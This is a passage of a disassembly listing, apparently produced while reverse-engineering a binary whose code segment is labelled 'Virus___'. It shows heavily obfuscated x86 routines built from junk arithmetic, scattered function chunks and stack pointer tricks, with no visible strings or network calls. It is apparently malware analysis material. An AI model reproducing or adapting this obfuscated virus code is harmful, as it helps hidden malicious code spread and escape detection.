; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54DF6E:				; DATA XREF: Virus___:00542E7Co
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	38CFh
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		push	esi
		mov	esi, 7D802DCEh
		jmp	loc_544B22
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 49935BFEh
		add	edx, 0B66CA406h
		sub	ebp, 1CAB46D1h
		jmp	loc_54B1A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DFB6:				; CODE XREF: sub_545A2B+1159j
		mov	ebp, 43703714h
		mov	eax, 63B65768h
		sub	eax, ebp
		pop	ebp
		xor	ecx, eax
		jmp	loc_545A6E
; ---------------------------------------------------------------------------


loc_54DFCA:				; CODE XREF: sub_545A2B-1788j
		sub	eax, 153A09A9h
		mov	ecx, eax
		pop	eax
		xor	ecx, 6A9665Fh
		jmp	loc_54A85D
; ---------------------------------------------------------------------------


loc_54DFDD:				; CODE XREF: sub_545A2B+5229j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		push	6AFCh
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_54D795
; ---------------------------------------------------------------------------


loc_54E003:				; CODE XREF: sub_545A2B+6714j
		mov	ch, dl
		push	[esp-16h+arg_12]
		pop	edx
		add	esp, 4
		jmp	loc_544796
; ---------------------------------------------------------------------------


loc_54E011:				; CODE XREF: sub_545A2B+103j
		inc	ecx
		xor	ecx, 822C80BFh
		mov	ebx, ecx
		pop	ecx
		add	ebx, 19DE1F38h
		sub	ebx, 11855214h
		add	ebx, edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 11855214h
		add	ebx, ecx
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_54ADE4
; ---------------------------------------------------------------------------


loc_54E041:				; CODE XREF: sub_545A2B+5830j
		push	[esp-2Ah+arg_26]
		pop	eax
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 5264313Ch
		dec	edx
		xor	edx, 7B2952B3h
		or	edx, 12686ED0h
		sub	edx, 3B6D6FD4h
		add	esi, edx
		pop	edx
		push	edx
		jmp	loc_54CB1D
; ---------------------------------------------------------------------------


loc_54E06A:				; CODE XREF: sub_545A2B+89Cj
		pop	ecx
		add	edx, ecx
		pop	ecx
		jmp	loc_549B0F
; ---------------------------------------------------------------------------


loc_54E073:				; CODE XREF: sub_545A2B+98CEj
		mov	edx, [esp-1Ah+arg_16]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_54B79D
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54E084:				; CODE XREF: Virus___:005439FCj
		push	ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_54E4E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E095:				; CODE XREF: sub_545A2B-ACAj
		shl	dh, 3
		sub	dh, 0D9h
		add	cl, dh
		mov	edx, [esp-1Ch+arg_16+2]
		jmp	loc_54303F
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E0A5	proc near		; CODE XREF: sub_545A2B+69EBj
		push	ebx
		mov	ebx, 4
		jmp	loc_5463E8
sub_54E0A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E0B0:				; CODE XREF: sub_545A2B+47E2j
		add	esp, 2
		sub	bl, al
		push	eax
		jmp	loc_548256
; ---------------------------------------------------------------------------


loc_54E0BE:				; CODE XREF: sub_545A2B-2217j
		add	ebx, 0BAB420Ah
		dec	ebx
		inc	ebx
		dec	ebx
		inc	ebx
		sub	ebx, 40B29FE7h
		add	ebp, ebx
		pop	ebx
		push	ecx
		jmp	loc_546F87
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E0D7	proc near		; CODE XREF: sub_545A2B+181Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0054CDDB SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_54CDDB
sub_54E0D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E0E5:				; CODE XREF: sub_545A2B+5850j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-1Ch+arg_16+2]
		pop	esp
		push	esi
		jmp	loc_54E52B
; ---------------------------------------------------------------------------


loc_54E0FD:				; CODE XREF: sub_545A2B+3BC2j
		pop	ecx
		pop	ecx
		pop	eax
		add	eax, 6EE338C5h
		push	ebp
		jmp	loc_546F60
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E10B	proc near		; CODE XREF: sub_545A2B+4508j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	35h
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 40206424h
		shl	ebx, 1
		push	edx
		jmp	sub_54EDB2
sub_54E10B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E139:				; CODE XREF: sub_545A2B-25F7j
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp-2Ch+arg_2A+2]
		pop	ecx
		pop	[esp-2Ch+arg_26+2]
		mov	esp, [esp-30h+arg_2A+2]
		bts	word ptr [esp-30h+arg_2A+2], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54E153:				; CODE XREF: sub_545A2B+4F10j
		mov	ch, 59h
		sub	dl, ch
		jmp	loc_54A7F9
; ---------------------------------------------------------------------------


loc_54E15C:				; CODE XREF: sub_545A2B+16EAj
		mov	bh, 0EAh
		or	cl, bh
		pop	bx
		inc	cl
		shl	cl, 7
		jmp	loc_5488F6
; ---------------------------------------------------------------------------


loc_54E16C:				; CODE XREF: sub_545A2B+2FA0j
		sub	ebx, 207B1493h
		sub	ebx, 1
		shl	ebx, 4
		add	ebx, 0F3AC6139h
		sub	esi, ebx
		pop	ebx
		jmp	loc_54B15F
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E186	proc near		; CODE XREF: sub_545A2B+792Ej
		push	ebp
		mov	ebp, 4
		jmp	loc_54997F
sub_54E186	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E191:				; CODE XREF: sub_545A2B+20D9j
		mov	[esp-44h+arg_3E+2], esi
		mov	esi, esp
		push	eax
		jmp	loc_546F50
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54E19C:				; CODE XREF: Virus___:005452D0j
		mov	ebx, 6DC5590Eh
		jmp	loc_54A953
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E1A6:				; CODE XREF: sub_545A2B+3861j
		shl	cl, 3
		push	edx
		mov	dl, 63h
		jmp	loc_547370
; ---------------------------------------------------------------------------


loc_54E1B1:				; CODE XREF: sub_545A2B+48B2j
		mov	ebx, 46BF58F5h
		dec	ebx
		jmp	loc_54BE46
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54C9ED


loc_54E1BC:				; CODE XREF: sub_54C9ED-7947j
		mov	bh, cl
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	edx
		mov	dh, 0F5h
		jmp	loc_54641F
; END OF FUNCTION CHUNK	FOR sub_54C9ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E1CF:				; CODE XREF: sub_545A2B-141Ej
		pop	edi
		jmp	loc_547777
; ---------------------------------------------------------------------------


loc_54E1D5:				; CODE XREF: sub_545A2B+520Ej
		and	cl, 7Ah
		add	cl, 79h
		xor	bh, cl
		pop	ecx
		not	bh
		sub	bh, 1Ah
		mov	dl, bh
		pop	ebx
		push	ebx
		jmp	loc_54EECE
; ---------------------------------------------------------------------------


loc_54E1EC:				; CODE XREF: sub_545A2B+583Fj
		sub	ecx, ebx
		pop	ebx
		add	ecx, 6C1142D3h
		push	edx
		mov	edx, 3373087Fh
		jmp	loc_54D742
; ---------------------------------------------------------------------------


loc_54E200:				; CODE XREF: sub_545A2B+5336j
		pop	esi
		xor	esi, edx
		pop	edx
		add	ebx, 71CB02C3h
		jmp	loc_546C20
; ---------------------------------------------------------------------------


loc_54E20F:				; CODE XREF: sub_545A2B-1C52j
		add	al, 9Eh
		jmp	loc_54646F
; ---------------------------------------------------------------------------


loc_54E216:				; CODE XREF: sub_545A2B-1DA8j
		push	eax
		mov	eax, 39D61F6Dh
		jmp	loc_54ED30
; ---------------------------------------------------------------------------


loc_54E221:				; CODE XREF: sub_545A2B-29E3j
		push	edx
		mov	dh, 80h
		push	bx
		jmp	loc_546D0B
; ---------------------------------------------------------------------------


loc_54E22B:				; CODE XREF: sub_545A2B+4099j
		mov	ch, 1Ch
		xor	ch, 55h
		shl	ch, 4
		jmp	loc_5480DC
; ---------------------------------------------------------------------------


loc_54E238:				; CODE XREF: sub_545A2B+8FF5j
		mov	esi, 4
		add	[esp-18h+arg_16+2], esi
		pop	esi
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp-1Ch+arg_1A+2]
		mov	edx, [esp-18h+arg_12+2]
		add	esp, 4
		pop	[esp-1Ch+arg_16+2]
		mov	esp, [esp-20h+arg_1A+2]
		rep movsd
		jmp	loc_54CC9C
; ---------------------------------------------------------------------------


loc_54E264:				; CODE XREF: sub_545A2B+41CEj
		push	3D23h
		mov	[esp+16h+var_16], edx
		jmp	loc_54D01A
; ---------------------------------------------------------------------------


loc_54E271:				; CODE XREF: sub_545A2B+4FE7j
		sub	[edi+24h], ecx
		mov	ecx, [esp-36h+arg_32]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-32h+arg_2E]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E287	proc near		; CODE XREF: sub_545A2B+19F7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00544E3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0054DDC3 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	ecx
		mov	ecx, 4FA32124h
		sub	[esp+8+var_4], ecx
		jmp	loc_544E3D
sub_54E287	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E29F:				; CODE XREF: sub_545A2B+39ECj
		neg	ebp
		add	ebp, 8014800Ch
		add	ecx, ebp
		pop	ebp
		jmp	loc_546483
; ---------------------------------------------------------------------------


loc_54E2AF:				; CODE XREF: sub_545A2B+36E5j
		pop	esp
		mov	[esp-26h+arg_22], ebp
		jmp	loc_54CFF6
; ---------------------------------------------------------------------------


loc_54E2B8:				; CODE XREF: sub_545A2B+5A80j
		add	esp, 4
		add	[esp-48h+arg_42+2], 2A4753B9h
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54E2C7:				; CODE XREF: sub_545A2B+3B2Aj
		push	edx
		jmp	loc_547F71
; ---------------------------------------------------------------------------


loc_54E2CD:				; CODE XREF: sub_545A2B+A6Fj
		pop	esp
		mov	[esp-50h+arg_4C], esi
		mov	esi, 2133745Ch
		jmp	loc_54E3B4
; ---------------------------------------------------------------------------


loc_54E2DB:				; CODE XREF: sub_545A2B+1940j
		mov	[esp-26h+arg_22], eax
		jmp	loc_5473CA
; ---------------------------------------------------------------------------


loc_54E2E3:				; CODE XREF: sub_545A2B+620j
		mov	[esp-14h+arg_E+2], ecx
		push	edx
		push	540E7BE5h
		pop	edx
		sub	edx, 4E71084h
		inc	edx
		sub	edx, 2E9FD88h
		mov	ecx, edx
		pop	edx
		shr	ecx, 1
		or	ecx, 226B3C34h
		neg	ecx
		not	ecx
		jmp	loc_545472
; ---------------------------------------------------------------------------


loc_54E30E:				; CODE XREF: sub_545A2B+9247j
		add	edx, 0FFFFFFFFh
		neg	edx
		and	edx, 504F1D64h
		add	edx, 39F421B4h
		xor	ebp, edx
		pop	edx
		add	eax, ebp
		jmp	loc_549396
; ---------------------------------------------------------------------------


loc_54E32C:				; CODE XREF: sub_545A2B+984j
		sub	ebp, 4DC1495Fh
		add	ebp, 559214ECh
		add	ebp, ecx
		sub	ebp, 559214ECh
		add	ebp, 4DC1495Fh
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_54968F
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E352	proc near		; CODE XREF: sub_545A2B+5C27j
		push	ebx
		mov	ebx, 0C26ABACFh
		add	edx, ebx
		pop	ebx
		add	ecx, 7DCE5A44h
		add	ecx, edx
		sub	ecx, 7DCE5A44h
		mov	edx, [esp+0]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_547C17
sub_54E352	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E37C:				; CODE XREF: sub_545A2B+D87j
		mov	[esp-46h+arg_42], ebx
		mov	bh, 3
		mov	ah, bh
		mov	ebx, [esp-46h+arg_42]
		push	edx
		jmp	loc_54591C
; ---------------------------------------------------------------------------


loc_54E38C:				; CODE XREF: sub_545A2B+5579j
		neg	bh
		add	bh, 0FFh
		push	ax
		mov	al, 0Dh
		xor	bh, al
		jmp	loc_54B910
; ---------------------------------------------------------------------------


loc_54E39C:				; CODE XREF: sub_545A2B+6BFFj
		mov	esi, 48A70D1Eh
		not	esi
		jmp	loc_54E48A
; ---------------------------------------------------------------------------


loc_54E3A8:				; CODE XREF: sub_545A2B+2E0Bj
		shl	eax, 6
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		jmp	loc_54D574
; ---------------------------------------------------------------------------


loc_54E3B4:				; CODE XREF: sub_545A2B+88ABj
		push	ebp
		push	ebx
		mov	ebx, 21337460h
		mov	ebp, ebx
		pop	ebx
		push	729Dh
		mov	[esp-48h+arg_42+2], ebp
		pop	edi
		pop	ebp
		sub	edi, esi
		pop	esi
		and	ecx, edi
		pop	edi
		jmp	loc_547558
; ---------------------------------------------------------------------------


loc_54E3D3:				; CODE XREF: sub_545A2B-FC2j
		mov	[esp-5Ch+arg_58], edx
		mov	edx, 3480776Bh
		jmp	sub_543680
; ---------------------------------------------------------------------------


loc_54E3E0:				; CODE XREF: sub_545A2B+62FCj
		push	ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54E3E8:				; CODE XREF: sub_545A2B+5438j
		sub	ebx, edx
		sub	ebx, 78177EDh
		pop	edx
		pop	dword ptr [eax]
		jmp	loc_548ADD
; ---------------------------------------------------------------------------


loc_54E3F8:				; CODE XREF: sub_545A2B+2D1Aj
		mov	esi, 40C3437Bh
		push	edi
		mov	edi, 6C752269h
		and	esi, edi
		pop	edi
		shr	esi, 5
		dec	esi
		shr	esi, 2
		neg	esi
		sub	esi, 81ED9165h
		xor	ebp, esi
		pop	esi
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_54BC65
		sub	esp, 4
		jmp	loc_5460A3
; ---------------------------------------------------------------------------


loc_54E42E:				; CODE XREF: sub_545A2B+9010j
		push	ecx
		mov	cl, 0D1h
		and	cl, 89h
		push	0ECAh
		mov	[esp-44h+arg_3E+2], eax
		mov	al, 31h
		xor	cl, al
		pop	eax
		xor	cl, 97h
		and	bh, cl
		pop	ecx
		jmp	loc_543ADE
; ---------------------------------------------------------------------------


loc_54E44C:				; CODE XREF: sub_545A2B+55E4j
		push	dword ptr [edi+eax*4]
		push	[esp-1Eh+arg_1A]
		push	[esp-1Ah+arg_16]
		pop	eax
		push	0B09h
		mov	[esp-16h+arg_12], eax
		mov	eax, esp
		push	32F4h
		mov	[esp-12h+arg_E], edi
		mov	edi, 6C657DF5h
		not	edi
		xor	edi, 34261160h
		dec	edi
		and	edi, 19733D6h
		shr	edi, 3
		xor	edi, 3FCA8A3Bh
		jmp	loc_54376E
; ---------------------------------------------------------------------------


loc_54E48A:				; CODE XREF: sub_545A2B+8978j
		xor	esi, 0B758F2E5h
		add	eax, esi
		jmp	loc_549B82
; ---------------------------------------------------------------------------


loc_54E497:				; CODE XREF: sub_545A2B+2403j
		add	bl, 0AAh
		jmp	loc_54C9FC
; ---------------------------------------------------------------------------


loc_54E49F:				; CODE XREF: sub_545A2B-2A72j
		push	esi
		push	409271Bh
		pop	esi
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edx
		push	esi
		mov	esi, 15D40317h
		mov	edx, 62CF42F0h
		jmp	loc_54AD53
; ---------------------------------------------------------------------------


loc_54E4BC:				; CODE XREF: sub_545A2B+8153j
		or	bl, 0B4h
		push	bx
		push	ax
		mov	ah, ch
		mov	ch, byte ptr [esp-3Ch+arg_3A]
		mov	byte ptr [esp-3Ch+arg_3A], ah
		pop	ax
		not	ch
		xchg	ch, byte ptr [esp-3Eh+arg_3A]
		jmp	loc_546117
; ---------------------------------------------------------------------------


loc_54E4D9:				; CODE XREF: sub_545A2B+EF5j
		mov	[esp-48h+arg_42+2], edx
		push	ecx
		mov	ch, 77h
		jmp	loc_549362
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54E4E4:				; CODE XREF: Virus___:0054E090j
		push	esi
		mov	esi, 56C5224Ah
		shr	esi, 6
		not	esi
		not	esi
		jmp	loc_546977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E4F6:				; CODE XREF: sub_545A2B+FD3j
		push	esp
		mov	esi, [esp-4Ah+arg_46]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4Ah+arg_46], edi
		push	eax
		mov	eax, 1F4A65EFh
		add	eax, 0E0B59A15h
		mov	edi, eax
		push	[esp-46h+arg_42]
		jmp	loc_547151
; ---------------------------------------------------------------------------


loc_54E518:				; CODE XREF: sub_545A2B+6613j
		add	ebx, 48D33E4Ah
		add	ebx, ecx
		push	eax
		mov	eax, 6A092EC8h
		jmp	loc_549AAC
; ---------------------------------------------------------------------------


loc_54E52B:				; CODE XREF: sub_545A2B+86CDj
		mov	esi, 70AB5DD8h
		jmp	loc_546392
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E535	proc near		; DATA XREF: Virus___:00542EF0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		lodsd
		push	59E0h
		mov	[esp+4+var_4], ecx
		push	6405h
		mov	[esp+8+var_8], edi
		mov	edi, 68A940CCh
		shr	edi, 7
		dec	edi
		jmp	loc_549561
sub_54E535	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E554:				; CODE XREF: sub_545A2B+AFFj
		mov	[esp-18h+arg_12+2], edi
		mov	edi, 2
		jmp	loc_54479D
; ---------------------------------------------------------------------------


loc_54E561:				; CODE XREF: sub_545A2B+33D9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-16h+arg_12]
		mov	esp, [esp-16h+arg_12]
		push	ebp
		jmp	loc_5486A5
; ---------------------------------------------------------------------------


loc_54E578:				; CODE XREF: sub_545A2B-29FDj
		add	edx, 4
		jmp	loc_54EF4C
; ---------------------------------------------------------------------------


loc_54E583:				; CODE XREF: sub_545A2B-107Ej
		mov	ebx, 247D524Bh
		push	ebp
		mov	ebp, 113D2FBDh
		xor	ebp, 675D0D62h
		dec	ebp
		and	ebp, 4A3A4697h
		and	ebp, 76B80B6Dh
		add	ebp, 0EBAE461Eh
		xor	ebx, ebp
		pop	ebp
		jmp	loc_544ABC
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E5AF	proc near		; CODE XREF: sub_545A2B+8258j
		push	ebx
		mov	ebx, 3F3F4A9Dh
		not	ebx
		xor	ebx, 0C0C0B563h
		sub	edi, ebx
		pop	ebx
		sub	edi, 0A54BF099h
		push	edi
		jmp	loc_54762F
sub_54E5AF	endp

; ---------------------------------------------------------------------------


loc_54E5CC:				; DATA XREF: Virus___:00542D54o
		pop	dword ptr [edx]
		jmp	loc_542F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E5D3:				; CODE XREF: sub_545A2B+592Fj
		sub	bl, 53h
		jmp	loc_54A878
; ---------------------------------------------------------------------------


loc_54E5DB:				; CODE XREF: sub_545A2B+5D58j
		add	eax, 48B108C4h
		sub	eax, 29F2657Eh
		sub	eax, 16446B0Ah
		add	eax, 64AE5E9Bh
		jmp	loc_5486CE
; ---------------------------------------------------------------------------


loc_54E5F4:				; CODE XREF: sub_545A2B-10B7j
		mov	[esp-58h+arg_54], ebx
		jmp	loc_54443D
; ---------------------------------------------------------------------------


loc_54E5FC:				; CODE XREF: sub_545A2B-11DAj
		mov	[esp-30h+arg_2A+2], ebp
		mov	ebp, 2A4753B9h
		jmp	loc_54811C
; ---------------------------------------------------------------------------


loc_54E609:				; CODE XREF: sub_545A2B-DB2j
		pop	ebx
		add	edx, 2
		xor	edx, [esp-1Ch+arg_16+2]
		jmp	loc_545411
; ---------------------------------------------------------------------------


loc_54E618:				; CODE XREF: sub_545A2B+11E4j
		pop	ecx
		xchg	edi, [esp-18h+arg_12+2]
		pop	esp
		jmp	loc_547474
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E622	proc near		; CODE XREF: sub_545A2B+2B99j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0054D10C SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_54D10C
sub_54E622	endp


; =============== S U B	R O U T	I N E =======================================



sub_54E630	proc near		; DATA XREF: Virus___:00542E50o

; FUNCTION CHUNK AT 005448CE SIZE 00000011 BYTES

		mov	ax, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_5448CE
sub_54E630	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E63C:				; CODE XREF: sub_545A2B+71E6j
		pop	ecx
		add	ecx, 5A663DBh
		add	ecx, edi
		sub	ecx, 5A663DBh
		pop	edi
		add	ecx, 2
		xor	ecx, [esp-40h+arg_3A+2]
		jmp	loc_5458C4
; ---------------------------------------------------------------------------


loc_54E657:				; CODE XREF: sub_545A2B+3CE6j
		add	[esp-2Ah+arg_26], 4
		mov	ecx, [esp-2Ah+arg_26]
		add	esp, 4
		jmp	loc_54F427
; ---------------------------------------------------------------------------


loc_54E66C:				; CODE XREF: sub_545A2B+2992j
		mov	bl, 0D8h
		sub	bl, ah
		pop	eax
		shl	bl, 7
		or	bl, 89h
		xor	bl, 0BFh
		xor	bl, 33h
		dec	bl
		xor	bl, 0E0h
		mov	ah, bl
		pop	ebx
		inc	ah
		jmp	loc_5495F2
; ---------------------------------------------------------------------------


loc_54E68C:				; CODE XREF: sub_545A2B-19BBj
		add	edx, eax
		jmp	loc_545571
; ---------------------------------------------------------------------------


loc_54E693:				; CODE XREF: sub_545A2B+52B0j
		add	ebx, edi
		add	ebx, 7974204Bh
		pop	edi
		sub	ebx, 2
		xchg	ebx, [esp-22h+arg_1E]
		pop	esp
		jmp	loc_54A946
; ---------------------------------------------------------------------------


loc_54E6AB:				; CODE XREF: sub_545A2B+4AE5j
		pop	ecx
		shl	ecx, 5
		xor	ecx, 91637984h
		jmp	loc_543CCB
; ---------------------------------------------------------------------------


loc_54E6BA:				; CODE XREF: sub_545A2B+6B08j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-18h+arg_12+2]
		pop	esp
		add	edx, 1EBD106Eh
		jmp	loc_54B323
; ---------------------------------------------------------------------------


loc_54E6D7:				; CODE XREF: sub_545A2B+5EE7j
		add	al, 7Fh
		sub	al, 34h
		sub	al, bh
		add	al, 34h
		push	ecx
		jmp	loc_544C8A
; ---------------------------------------------------------------------------


loc_54E6E5:				; CODE XREF: sub_545A2B+BB0j
		mov	esi, ebp
		pop	ebp
		or	esi, 66F01E0Ch
		neg	esi
		push	ebp
		mov	ebp, 4214283h
		jmp	loc_54C6DB
; ---------------------------------------------------------------------------


loc_54E6FB:				; CODE XREF: sub_545A2B-2A46j
		mov	[esp+6+var_8+2], eax
		mov	eax, 7B8A78F8h
		add	eax, 7154666Ah
		neg	eax
		not	eax
		sub	eax, 79917CC1h
		jmp	loc_54BD0A
; ---------------------------------------------------------------------------


loc_54E716:				; CODE XREF: sub_545A2B+667Cj
		push	edi
		mov	edi, 450111D0h
		push	ebp
		push	edi
		mov	edi, 450113D0h
		push	eax
		mov	eax, edi
		mov	ebp, eax
		jmp	loc_5457E5
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	517h
		jmp	loc_5441DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E73C:				; CODE XREF: sub_545A2B+7DAEj
		or	ah, 5Dh
		sub	ah, 0B3h
		neg	ah
		add	ah, 74h
		inc	ah
		neg	ah
		add	ah, 0E4h
		shl	ah, 3
		jmp	loc_5445E4
; ---------------------------------------------------------------------------


loc_54E756:				; CODE XREF: sub_545A2B-D51j
		push	esi
		push	eax
		mov	eax, 703D671Eh
		mov	esi, 3EC03177h
		xor	esi, eax
		jmp	loc_54CB23
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E769	proc near		; CODE XREF: sub_545A2B+499Dj
		sub	esp, 4
		jmp	loc_546EFA
sub_54E769	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_54E774:				; CODE XREF: sub_543A46+B58Ej
		mov	[esp+0], edi
		jmp	loc_54DD59
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E77C:				; CODE XREF: sub_545A2B+6903j
		and	ebp, 2957274Ah
		sub	ebp, 1
		xor	ebp, 28474541h
		push	ebp
		jmp	loc_54EE8E
; ---------------------------------------------------------------------------


loc_54E791:				; CODE XREF: sub_545A2B+3248j
		push	[esp-1Eh+arg_1A]
		mov	eax, [esp-1Ah+arg_16]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 4C572E69h
		jmp	loc_54613D
; ---------------------------------------------------------------------------


loc_54E7A8:				; CODE XREF: sub_545A2B+5463j
		mov	ebp, [esp-1Eh+arg_1A]
		add	esp, 4
		shr	edx, 6
		jmp	loc_54B154
; ---------------------------------------------------------------------------


loc_54E7B9:				; CODE XREF: sub_545A2B+37C0j
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5499BC
; ---------------------------------------------------------------------------


loc_54E7C9:				; CODE XREF: sub_545A2B-225Cj
		sub	edx, 298123A2h
		sub	edx, 501876B9h
		pop	ecx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54E7DB:				; CODE XREF: sub_545A2B+268Cj
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 64C31D9Ch
		jmp	loc_548E32
; ---------------------------------------------------------------------------


loc_54E7E9:				; CODE XREF: sub_545A2B+35ADj
		shl	esi, 2
		add	esi, 3D3A8848h
		jmp	loc_54A81E
; ---------------------------------------------------------------------------


loc_54E7F7:				; CODE XREF: sub_545A2B+256j
		add	esi, edx
		pop	edx
		mov	edx, [esp-28h+arg_22+2]
		push	eax
		jmp	loc_549476
; ---------------------------------------------------------------------------


loc_54E803:				; CODE XREF: sub_545A2B+345Dj
		add	esp, 4
		jmp	loc_545F1D
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54E80B	proc near		; CODE XREF: sub_545A2B+41E3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00542FEA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054CD0E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054CFBB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054D1EB SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_54CD0E
sub_54E80B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54E816:				; CODE XREF: sub_545A2B-2D9j
		mov	esp, [esp-22h+arg_1E]
		push	dword ptr [eax]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54E820:				; CODE XREF: sub_545A2B-626j
		mov	ecx, [esp-44h+arg_3E+2]
		jmp	loc_543292
; ---------------------------------------------------------------------------


loc_54E828:				; CODE XREF: sub_545A2B+1104j
		sub	edi, 538C7590h
		add	esi, edi
		pop	edi
		xchg	esi, [esp-3Ah+arg_36]
		jmp	loc_542FAC
